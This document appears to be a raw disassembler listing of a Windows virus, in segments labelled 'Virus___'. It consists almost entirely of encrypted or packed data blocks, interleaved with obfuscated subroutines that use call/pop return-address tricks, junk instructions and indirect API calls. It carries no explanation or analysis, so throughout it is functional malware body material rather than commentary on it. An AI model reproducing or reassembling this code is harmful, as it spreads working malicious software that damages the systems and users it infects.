0BD894F3Ah, 71B2ED9h, 2AD18D8Bh, 858D071Bh, 71E97AEh dd 28518D8Bh, 8589071Bh, 71B28E9h, 7E8h, 0AAE07200h, 82C72541h dd 2CB9B589h, 8159071Bh, 0F40A9AEAh, 33C18103h, 52000068h dd 26E18D89h, 335A071Bh, 0F9BD31C0h, 8B071B1Fh, 96BE013Ch dd 8112F435h, 49311CEFh, 2585297Eh, 81071B34h, 0ECB6BBF7h dd 5DB5893Ah, 81071B33h, 0D9D45EC7h, 0E1958B38h, 57071B30h dd 11E9h, 97A66700h, 8B86977Eh, 48BB7C5h, 4A22DF66h, 48F1820h dd 18F0F01h, 0F8000000h, 2D519531h, 0E883071Bh, 4848F801h dd 0CB816648h, 0F8819FBCh, 0FFFF9864h, 0FF95850Fh, 9D2BFFFFh dd 71B26F5h, 1C8F4FEBh, 8ABFA25h, 0ACDAC6A1h, 0D2D41CA4h dd 0E45C5Ch, 0F53134CEh, 0B327CE1Bh, 5B34D129h, 0E62AC7DDh dd 0DF1BCE17h, 0A6DB6734h, 6 dup(0) dd 0DDB48700h, 0D9202352h, 9Eh, 1259E900h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 660983C3h, 725F940Ah, 830F6Bh, 83000000h, 1B2105BDh dd 850F0007h, 79h, 1FE1950Bh, 33BA071Bh, 0B84EE795h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_574AA7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_574AA7 proc near ; CODE XREF: Virus___:00574A9Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_574AA7 endp ; --------------------------------------------------------------------------- db 0A5h dd 4688D076h, 0BA662A4Fh, 850F26F8h, 4, 0D977BA66h, 6A0004C2h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 21A8C357h, 0E7626D86h, 0FE95Dh, 65410000h dd 2B5A5460h, 379AB084h, 3BA480A9h, 6AC08B51h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 8C39C352h, 0FD9D893Bh, 83071B22h, 1B1BD1BDh, 9750007h dd 1FD5BD83h, 7400071Bh, 8B535013h, 4D0B8C0h, 9D8D0000h dd 71DA98Ch, 585BD3FFh, 1FD5BD83h, 7400071Bh, 0B8535011h dd 4D0h, 0A8D99D8Dh, 0D3FF071Dh, 8166585Bh, 6A87DDC9h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0BF0AC357h, 28759509h, 0C08B071Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0B7C35141h, 0BF508C84h dd 77FA8DA5h, 0DB858D5Fh, 66071E98h, 50D7CFBFh, 89F88B66h dd 7E82404h, 3A000000h, 0D7DE8DF6h, 0D9804A8Fh, 858D59FFh dd 71E9898h, 137D8D0Bh, 0E890071Bh, 5, 233C3078h, 0FE9D3h dd 65410000h, 2B5A5460h, 379AB084h, 3BA480A9h, 57505F51h dd 14E9h, 0CFA48400h, 1B449DD6h, 0E3300524h, 1D9AD6F2h dd 2124372Fh, 0E9905F2Ah, 0Ah, 8ACC01DAh, 97C8541h, 95FF1969h dd 71B0CD5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 54C35343h, 11E256BBh, 8955782h, 448BF542h, 6A0424h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 536650C3h, 0B82D8FD0h, 0F18D8BAEh, 89071B2Fh, 1E98C385h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0D26A1B22h, 669BA663h, 448BD18Bh, 8B660824h dd 0D78589CAh, 1071E98h, 1B3441BDh, 5DBD8307h, 71B17h dd 0C5850Fh, 10E80000h, 18000000h, 0DB1F5B8Eh, 0EF2E510Fh dd 3F80CA04h, 0F95D3DAh, 0C659D1BFh, 1B1C0585h, 0D68B4707h dd 0D6821268h, 240481C8h, 0BC425C0h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 45C35141h, 0E781652Ah, 636A0691h dd 2279B589h, 0B5FF071Bh, 71B2E11h, 6880Fh, 0BD890000h dd 71B2405h, 7E7A858Dh, 6A071Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0F06B9FC3h, 8D8B34A2h dd 71B0555h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 1336DEC3h, 34AC908Bh, 8589F542h dd 71B175Dh, 83F8BF0Fh, 1B0D7DBDh, 850F0007h, 0E3h, 1BB99589h dd 85C6071Bh, 71B1C05h, 69858947h, 68071B31h, 5A1BF00Ah dd 81D08B66h, 0C5D82404h, 6A2FF3h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 30933FC3h, 890DBCC1h dd 1B258D85h, 11B5FF07h, 6A071B2Eh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0FEEEC356h dd 8937387Eh, 1B1F95BDh, 6880F07h, 0F000000h, 8Dh, 7A858D00h dd 66071E7Eh, 668777BFh, 0FF8158B9h, 56006AD0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 98AA4E1h, 0D7D8589h dd 6A071Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0C6576DC3h, 297DC1D3h, 896FD55Dh, 1B2E9195h dd 8382B507h, 1B0DADBDh, 850F0007h, 8Ch, 2E458D89h, 85C6071Bh dd 71B1C05h, 3DBA6656h, 0C65B6883h, 6E8E12Dh, 0AB000000h dd 0FF311A5Bh, 3481590Bh, 32AB6224h, 50006A35h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 2E29EC5Ah dd 7D7F2AB7h, 347DB529h, 8B50071Bh, 1B30A995h, 0B5FF5907h dd 71B2E11h, 12219503h, 858D071Bh, 71E7E7Ah, 0D89BD03h dd 0D0FF071Bh, 31158D2Bh, 8589071Bh, 71B0DADh, 0DE58D03h dd 9589071Bh, 71B1469h, 1C0585C6h, 6A6C071Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0CD4AC355h, 8E99783h, 4B000000h, 94DCD578h, 68527F19h dd 0BBBD0FA7h, 2121BF66h, 0DC240481h, 0E81F4860h, 8, 0BB864767h dd 29C3B808h, 5E95FFCh, 7A000000h, 87849073h, 225DB5FFh dd 8DF9071Bh, 1B3B0C85h, 81D0FF07h, 0D31873D9h, 0C7858900h dd 89071E98h, 1B2CA59Dh, 0E3BD8307h, 71E98h, 0E7850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 4EC3A7C3h, 0CE8B6635h, 1C0585C6h, 6A49071Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 77C7C355h, 0E953F935h, 6, 831CE48Ah, 6859C9D4h dd 8657E391h, 6E9h, 9AF8C800h, 8108036Fh, 46582404h, 6A05BDh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0DF1734C3h, 29FA616Dh, 80E44D7Ch, 958971F6h, 71B2765h dd 225DB5FFh, 6A071Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0D407E4C3h, 5F7AB9BDh, 858D2C81h dd 71B3B0Ch, 6DDA8166h, 29B58975h, 0FF071B19h, 37BF66D0h dd 0E385893Fh, 29071E98h, 1B354DBDh, 81046A07h, 79CE7EF1h dd 2C5C686Ah, 800F8F0Ah, 3, 81D78B66h, 0E3A42404h, 0E18070F5h dd 6890FD7h, 89000000h, 1B17BDB5h, 4E807h, 0 dd 850F0001h, 0Eh, 9E9h, 0D57A0A00h, 0A6D195A6h, 505061A9h dd 0FCE8B52h, 0D08B6031h, 15E4BE66h, 8B585A61h, 66042444h dd 8BFB8Bh, 310F5250h, 14E860h, 0DC9F0000h, 6D55AC6h, 5EB5B6ABh dd 6E0CE8F9h, 4BF0CAD4h, 0F5ACD97h, 81h, 585A6100h, 4244489h dd 0E8E0Fh, 52500000h, 0FD38B66h, 5521BA31h, 585A7984h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8BC6F6C5h, 1B1EF98Dh, 6A006A07h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0A25CC351h, 3CEABC68h, 0C6281D3Dh, 26C195FFh, 8589071Bh dd 71E98D3h, 11EF8166h, 0CB85C72Ch, 71E98h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0F6AFC356h, 0FE8083E8h, 6653006Ah, 685FD38Bh dd 130CA639h, 3481B4B5h, 0DA63924h, 55006A13h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 87D441ABh dd 958B9C32h, 71B04E5h, 895AB550h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8C0F5BC3h dd 2, 0CE9F1B5h, 0DA000000h, 333106CBh, 8FF29238h, 6A30933Fh dd 57006A0Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 7E265A71h, 7BE97990h, 98A0858Dh, 958B071Eh dd 71B0D25h, 11E950h, 19E80000h, 6937DA6Bh, 5B6489EFh dd 3EB516EDh, 898D7E4Dh, 0EE92404h, 0 dd 9341D025h, 7C24E452h, 836385BEh, 5D95FF4Dh, 0BA071B17h dd 5A41328Ah, 98AAB58Dh, 8B66071Eh, 29BA96FBh, 506FE141h dd 6A96CE8Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 8ED7C350h, 8D8B2738h, 71B1F2Dh dd 505A5790h, 0FF90C5B1h, 1B0D7D95h, 14E907h, 0D1C10000h dd 6FD0733Ah, 4F8F8299h, 4410FCDDh, 0BD6273ECh, 8A0F85E5h dd 5, 35CA8166h, 0FC00BB6h, 5685h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8937B4DEh dd 1B1209BDh, 7A9E907h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 29331C3h, 39EEED03h dd 150DBD89h, 19BA071Bh, 0FF54FE7Fh, 2800FD0h, 8B000000h dd 0D3B58BFAh, 6A071E98h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0C3B7C353h, 6A20468Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 7242C351h, 11E9h, 31EE1500h, 964EF26Bh, 9A03FE6h dd 57994A95h, 46A8052h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0C2C35343h, 3DAA6492h, 0D9D292Bh, 8B071B28h dd 1B232D95h, 52509007h, 5ACF8B51h, 5250310Fh, 310FE2B5h dd 19DBBF66h, 585A585Ah, 6738B950h, 6A905C09h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 4F0FC353h, 3627AB5Dh, 8E9h, 0E26F5300h, 609708B0h, 0E395FF96h dd 9071E98h, 1B31958Dh, 0FC00B07h, 2584h, 0F1816000h, 54974683h dd 449BD89h, 8B61071Bh, 1B30A9BDh, 671E907h, 8B0F0000h dd 6, 2F8D958Bh, 7E80071Bh, 840F0020h, 65Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9AC35646h, 9995892Ah dd 60071B2Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 9FC35747h, 0B5899437h, 71B278Dh, 6020468Dh, 2E818509h dd 8960071Bh, 1B2385B5h, 0F5858907h, 61071B35h, 0CF858961h dd 31071E98h, 1B1FA58Dh, 218D8B07h, 0E9071B2Eh, 12Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0F1C35545h, 494C20BEh dd 40BED4F2h, 8240D981h, 50904428h, 50310F52h, 0AA66BA52h dd 310F67DFh, 860Fh, 585A0000h, 6650585Ah, 90B0F8BFh, 6A046Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 2A6B89C3h, 0A4AF5D6Bh, 90FBB70Fh, 0D07571BFh, 3EBA5051h dd 9022D03Eh, 0CE9h, 8C610700h, 2B775DC3h, 0F75BA6A3h dd 0E395FF36h, 60071E98h, 3840Fh, 8B660000h, 0B9B589F1h dd 61071B24h, 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0F7E2F4C3h, 5860Fh, 81660000h, 58FA0CD2h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 8FC35646h dd 840FDB0Bh, 39h, 2F29BD23h, 0E9F5071Bh, 4E3h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DCC35646h, 3AA4112Ch dd 6820FC8h, 31000000h, 1B11459Dh, 388007h, 0FEED850Fh dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 19370AC3h, 0F563D148h, 7E9h, 0AD9D8900h dd 48071B23h, 98CF853Bh, 820F071Eh, 41h, 21B58D8Bh, 3880071Bh dd 32840F5Ch, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 5B5C356h, 0F2F3880h dd 0FFFFBE85h, 499509FFh, 89071B26h, 1B058985h, 83F84007h dd 1E98D7BDh, 840F0007h, 1A0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 67C35545h, 8950A51Ah, 0BA662404h dd 8503EB97h, 71E98D7h, 7E9h, 0D0580C00h, 0ACC2BF5Ah, 0BB666090h dd 12E8F62Ch, 71000000h, 0B438B540h, 0FDC2F6F9h, 5C1114BEh dd 0D704DAC6h, 50615AA5h, 6A90F98Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 5B3FC355h dd 0B2B49B3Eh, 1879B531h, 8B66071Bh, 6A046ACAh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0D0BAC356h, 50B4ABCCh, 2EE9BD8Bh, 9059071Bh, 6E8h, 28939700h dd 0E990456Ch, 13h, 7BE6ED6h, 0F62BFC1Eh, 0DE798FDCh, 89A5C16Bh dd 5F585E32h, 0DE850h, 1FDD0000h, 0FF63A16Dh, 48A3B54Dh dd 0B9DAE60Bh, 2C3CCEADh, 800F905Ah, 0 ; --------------------------------------------------------------------------- call dword ptr [ebp+71E98E3h] mov ch, 0A0h mov ebx, eax mov edx, ecx pop eax push 0 push ebx call sub_5757CC and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5757CC proc near ; CODE XREF: Virus___:005757C4p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5757CC endp ; --------------------------------------------------------------------------- test [edi+73h], ecx xlat dec edx mov ecx, 1115A43h mov [ebp+71B1769h], edx or ebx, ebx jz loc_575835 adc dl, 59h pusha call sub_575810 sub dh, [eax-47h] mov eax, ds:0C9222CF7h dec ecx aad 33h sbb al, 0C0h cmp [ecx-0F0FF6EBh], bl ; =============== S U B R O U T I N E ======================================= sub_575810 proc near ; CODE XREF: Virus___:005757F8p arg_1C = dword ptr 20h ; FUNCTION CHUNK AT 00575AE3 SIZE 00000023 BYTES mov ebx, [ebp+71B21A5h] pop edi popa jmp loc_575AE3 sub_575810 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov [ebp+71B2249h], esi jmp loc_575835 ; --------------------------------------------------------------------------- jmp short loc_575863 ; --------------------------------------------------------------------------- dw 6969h dd 9B2838B9h, 7EA68CCEh db 10h ; --------------------------------------------------------------------------- loc_575835: ; CODE XREF: Virus___:005757EEj ; Virus___:00575823j mov byte ptr [eax], 0 call near ptr loc_575844+1 mov ds:0A744D9FEh, eax mov dh, 0C9h loc_575844: ; CODE XREF: Virus___:00575838p test [ecx-12C2AD0Fh], eax and eax, 0EE95859h ; --------------------------------------------------------------------------- db 0 dd 4FDF0000h, 0CF6CAAADh, 0FEBAACAEh, 0CD804892h db 90h db 66h, 0B9h ; --------------------------------------------------------------------------- loc_575863: ; CODE XREF: Virus___:00575828j mov ch, ch push eax mov dx, cx nop push 0 push ebx call sub_575875 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_575875 proc near ; CODE XREF: Virus___:0057586Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_575875 endp ; --------------------------------------------------------------------------- db 7Ah, 3Eh, 0A4h ; --------------------------------------------------------------------------- imul ebp, esi, 0A2FC473Dh dec eax mov ch, 0FAh mov edi, 387E94F8h push 1Eh push 0 push ebx call sub_5758A3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5758A3 proc near ; CODE XREF: Virus___:0057589Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5758A3 endp ; --------------------------------------------------------------------------- xor ebp, [edx+206B6FB2h] jnb short near ptr loc_575910+1 jmp loc_5758C8 ; --------------------------------------------------------------------------- dd 0D66AB7EEh, 48F64F42h ; --------------------------------------------------------------------------- loc_5758C8: ; CODE XREF: Virus___:005758BBj pusha jmp loc_5758DB ; --------------------------------------------------------------------------- db 0CCh db 23h dd 0CF5C2823h, 49F7B41Eh db 7Bh, 6Ch, 8Eh ; --------------------------------------------------------------------------- loc_5758DB: ; CODE XREF: Virus___:005758C9j jmp loc_5758E6 ; --------------------------------------------------------------------------- and ds:0A076A1Eh, ecx loc_5758E6: ; CODE XREF: Virus___:loc_5758DBj popa nop mov dl, 0DEh push eax jmp loc_575904 ; --------------------------------------------------------------------------- dd 3864987Fh, 0DF407B2Dh, 36A6545Ch, 0ECEFC6ABh, 0E6AE296Ch ; --------------------------------------------------------------------------- loc_575904: ; CODE XREF: Virus___:005758EBj nop mov ch, bh call dword ptr [ebp+71E98E3h] push 0 push ebp loc_575910: ; CODE XREF: Virus___:005758B9j call sub_575918 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_575918 proc near ; CODE XREF: Virus___:loc_575910p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_575918 endp ; --------------------------------------------------------------------------- dd 8B666763h, 0D88BF9D0h, 58CB8B66h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0DCC35646h, 0B2BCE00h, 50840FDBh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0AD58C353h, 181CEB4Dh, 0AEF3A229h dd 0E9FC7FB1h, 15Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 32C35040h, 7EA415E2h, 50007C86h, 4893FB5h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 66DD71F0h, 7122DF81h, 0C3B5FFF8h, 66071E98h dd 0FF421CBAh, 1E98C795h, 918D2B07h, 0B071B32h, 81850FC0h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 847EC350h, 806051E5h, 596170EAh dd 0AE861h, 0AF450000h, 0FF60B6DCh, 6FDFC9A0h, 0BE8h, 0E1175600h dd 0B072A28Eh, 0EF85B2F8h, 0C75A59F9h, 1E98CB85h, 107h dd 9DBD0100h, 0E9071B09h, 93h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0ADC35343h, 958B97C1h, 71B05B9h dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 1110EFBAh, 0F2812D00h, 3A88D962h, 11CC681h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 92EF8CC3h, 0A9D423AFh, 0F8CAE9D7h, 14E9FFFFh dd 0B000000h, 943E6A6Fh, 0F59E8063h, 0EFF1509Eh, 3B74DA1h db 90h ; --------------------------------------------------------------------------- xor al, 0C6h ; START OF FUNCTION CHUNK FOR sub_575810 loc_575AE3: ; CODE XREF: sub_575810+8j push 2D55EDEh xor [esp-20h+arg_1C], 2D5DEDEh cmc push 0 sub ch, 0BEh push dword ptr [ebp+71E98D3h] push 0 push ebx call sub_575B06 and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_575810 ; =============== S U B R O U T I N E ======================================= sub_575B06 proc near ; CODE XREF: sub_575810+2EEp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_575B06 endp ; --------------------------------------------------------------------------- dw 9AE9h dd 0FFCF8BC6h, 1B0DAD95h, 13E807h, 0B8150000h, 4236FF46h dd 0B6A3BB6Fh, 8A615DDDh, 0F31248C4h, 59FB8B9Eh, 98CB858Bh dd 0F680071Eh, 0CEBF90A7h, 5004D24Ch, 57006A90h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0B858A47Fh, 64C247B3h, 0D899529h, 858D071Bh, 71E98DBh dd 2615B509h, 0E990071Bh, 6, 3C47FD35h, 0E9508668h, 7 dd 76DD795Ch, 9008FF38h, 11E8CE8Bh, 2D000000h, 968C1E17h dd 0A11F41A4h, 0D573B59Dh, 0FFFF45A5h, 16858D29h, 8D59071Bh dd 1E989885h, 8BD38B07h, 1B09198Dh, 4895007h, 0CE924h dd 0A0F60000h, 0B464C426h, 0D5459B75h, 95FF5967h, 71B0599h dd 0CE8h, 0E3589500h, 0B096C05Ah, 0B150DE9Ch, 0C8BF0F86h dd 6830F59h, 23000000h, 1B30CDBDh, 66C08B07h, 0DB38F281h dd 499B589h, 0BD83071Bh, 71B1BD1h, 83097500h, 1B1FD5BDh dd 13740007h, 0C08B5350h, 4D0B8h, 0F39D8D00h, 0FF071DA9h dd 83585BD3h, 1B1FD5BDh, 11740007h, 0D0B85350h, 8D000004h dd 1DA8F29Dh, 5BD3FF07h, 8D895158h, 71B30F9h, 56006A59h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0AD8D8B12h, 8B071B32h, 8B0FC0h, 58000000h, 2ABD8D89h dd 8C2071Bh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0A1C429D2h, 8B1D4C94h, 50006AC0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 56F5469Eh, 50418FB4h, 8D2BC37Ah, 71B33A1h, 9915858Dh dd 6A071Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 54ABACC3h, 2BB12FE7h, 14E955h, 0E5DF0000h dd 4479D5EFh, 2E935D47h, 0BAA86F79h, 0EB6D19C2h, 8589E6FCh dd 71B2C4Dh, 39EBh, 2CC00A9h, 2E400A9h, 0A9h, 35D60000h dd 3916E984h, 31C1D89Dh, 35238C8Ch, 7247E187h, 5C79E08Dh dd 10CED8A7h, 280B8CA5h, 32C7FCA6h, 3923E4BDh, 3CA8E888h dd 0D7A23BE6h, 0A2AE629h, 5C158F01h, 9FD4ACE9h, 783105B7h dd 78E60DEDh, 5C5199EDh, 9FFECAE9h, 0E1D7B2CBh, 5B319738h dd 0DF1CF9E9h, 47955954h, 45318CEEh, 9C29DFB9h, 5C553551h dd 3D2D05E9h, 0D15397C3h, 41813474h, 7C673EEh, 89370FB1h dd 5C4297F6h, 0FF29B9Dh, 5C553551h, 3D2D05E9h, 0D15397C3h dd 41822B74h, 7C673EEh, 0C8AE6B1h, 5C458F01h, 9FFAACE9h dd 781505B1h, 78EC0DEDh, 5C5498EDh, 9F7ACCE9h, 5C1E6555h dd 59398CE9h, 6D68B27Ch, 592AA981h, 0D51E675h, 5CA88F01h dd 9F0DACE9h, 786605B0h, 78510DEDh, 5C8A94EDh, 9F14CDE9h dd 7F3AD8A7h, 36910726h, 5F40DCE9h, 7C548CE9h, 0D5724FB1h dd 0DD11A8ADh, 488EA8ADh, 1C458CE9h, 0D5324FB9h, 47648D6Ch dd 592D4AEEh, 0A5397F5h, 58233962h, 58FD8BF2h, 0E8A8CE9h dd 0AD92451h, 4E4BDCB6h, 7D518CE9h, 992B9768h, 626CF316h dd 0E962D1B3h, 0DC9CBFD9h, 78CE07ADh, 0E94507EDh, 78E60568h dd 0E9DAD4EDh, 5BB39444h, 72453916h, 5C408BF2h, 5C1664BEh dd 3AA8CE9h, 20CCD32Ah, 182388CDh, 5C4D88CDh, 0BEF8CE9h dd 0A8413E2Ah, 0DE581816h, 0E99C8AD3h, 5B91A3E8h, 223F0964h dd 0C18B8BF7h, 5B4AAE18h, 0C9215C16h, 5B4FBD48h, 5C408883h dd 5C1664B9h, 4AA8CE9h, 18CCD42Ah, 182388CDh, 5C4588CDh dd 0CE88CE9h, 0DE5B1F2Ah, 5C2A8CEFh, 58F81962h, 0F9E28BF2h dd 0DD2870FDh, 5807A8DDh, 5C3BE115h, 5CAB64BAh, 7748CE9h dd 0A3D72Ah, 189488CDh, 5C9188CDh, 0F068CE9h, 0D7A5AD2Ah dd 36861FDDh, 452D051Fh, 345397E3h, 9580D78h, 5C1105E6h dd 0E3EC8CE9h, 68C455B2h, 2E21F1CDh, 69A633BCh, 5CC28566h dd 5C811960h, 94A18BF2h, 5C7F5C16h, 5C8964BAh, 7658CE9h dd 2BD72Ah, 18D088CDh, 5CB088CDh, 0F178CE9h, 6FEB22Ah dd 4EFDC642h, 0D98A8CE9h, 0E46281C9h, 38CED521h, 88B68FF5h dd 0AFAAAF34h, 5C5E65E7h, 0DF1A8CE9h, 90A2FCE1h, 2BB6C809h dd 0E0C005B7h, 36A59242h, 5FB9DAE9h, 7CA88CE9h, 0D50A4FB7h dd 0DD2EA89Dh, 4A11A8ADh, 1A8A8CE9h, 4654FBFh, 0B12F8F6Dh dd 0D75697EDh, 5E648911h, 0D9DD8CE9h, 5B342729h, 0D50D4C6Ah dd 4221486Ch, 0E585BFEEh, 5CA28E05h, 5BB8261Ah, 1A88CE9h dd 1E3B3F29h, 0E9A30547h, 5B0EBD34h, 5C8A8400h, 718385E9h dd 10505DA0h, 59D44A6Ah, 1FAF97F5h, 0B4078C83h, 5C2A8CEAh dd 7D6D7C9h, 58AED060h, 5861C868h, 5CA28CF4h, 9892DFAAh dd 1701CC3Ch, 0B859BBB7h, 0F338E4E0h, 0D773174Ch, 78BE0D11h dd 5B8748A5h, 5CA28600h, 0ED35E3E9h, 0A75D319Bh, 0A3679F97h dd 47049D5Ch, 0A15E6EEh, 5C8A8F01h, 9F1BACE9h, 78D605B7h dd 78150DEDh, 5CA896EDh, 9F02CAE9h, 4617DF60h, 53B089EAh dd 5C8A8A62h, 29D0BDE9h, 53A597C7h, 0D9DC4656h, 5BB6F293h dd 0B4058C83h, 5C2A8CEAh, 5D6D5C9h, 58AEC060h, 5861C868h dd 5CA28CFFh, 0E492DDA8h, 0D7CED8E6h, 55847338h, 470C515Ch dd 0CD9005EEh, 0D78D97C3h, 476E8554h, 0FD2701EEh, 755697FAh dd 478D8554h, 0D1DDECEEh, 5B319360h, 3DC633E6h, 42230960h dd 8CCE8BF2h, 40A7092Fh, 0B4028BF2h, 5CA88CEDh, 0A0E5C431h dd 0D125DEB9h, 5C158CEBh, 6D856663h, 5C459801h, 0AC0B8BE9h dd 2778BFB9h, 10533FE5h, 71BD3FB3h, 73ADAB8Bh, 64ADF38h dd 0D7DAD4B3h, 0B441A8ADh, 5CA28CFBh, 0FD11914Ch, 20C78111h dd 0CE520632h, 71985CC9h, 0D41A9A54h, 5C8A8CEFh, 6D4ADEB9h dd 0D7FCD4B3h, 0B503ECE9h, 5CA88CE5h, 4CF63862h, 0ADDC3AA3h dd 1263E73Ch, 9B01EAB2h, 78010588h, 0AB29EAEDh, 81ECA7B1h dd 0D7AF97FFh, 4DE1733Fh, 362D97C7h, 5FFDD9E9h, 7C8A8CE9h dd 0D5184FB4h, 0DDA6A885h, 4B55A8ADh, 19A88CE9h, 7FDC4FBCh dd 0D9A79956h, 5B0BF293h, 58871962h, 8CBA8BF2h, 8C9C8357h dd 0D5D40592h, 36AF97FBh, 5FBCDAE9h, 7C2A8CE9h, 0D54B4FB7h dd 0DD8EA89Dh, 4941A8ADh, 1AA28CE9h, 0DB7E4FBFh, 0C5791250h dd 0BED5EADFh, 0D9EC5DCDh, 5B0E90ECh, 0B8AE6BAh, 5C458F01h dd 9FFDACE9h, 782D05B6h, 78EC0DEDh, 5C5499EDh, 9F7DCBE9h dd 0E99C684Dh, 5B918888h, 4BD03962h, 3DCA8BF2h, 0B597A455h dd 5CA88CE7h, 21733435h, 0CE114356h, 5D2071EAh, 580B1E7Ch dd 0AC4DDECDh, 0B56D07F8h, 5C518CEFh, 0AB3303C7h, 0E9AB8C1Fh dd 5B31A2F8h, 5C159D00h, 865542E9h, 0E675CA1Ah, 0A2057053h dd 4F6A721Ch, 0D9250FD7h, 5B4AF293h, 0B47F8C83h, 5C158CEAh dd 149D1C9h, 5861E060h, 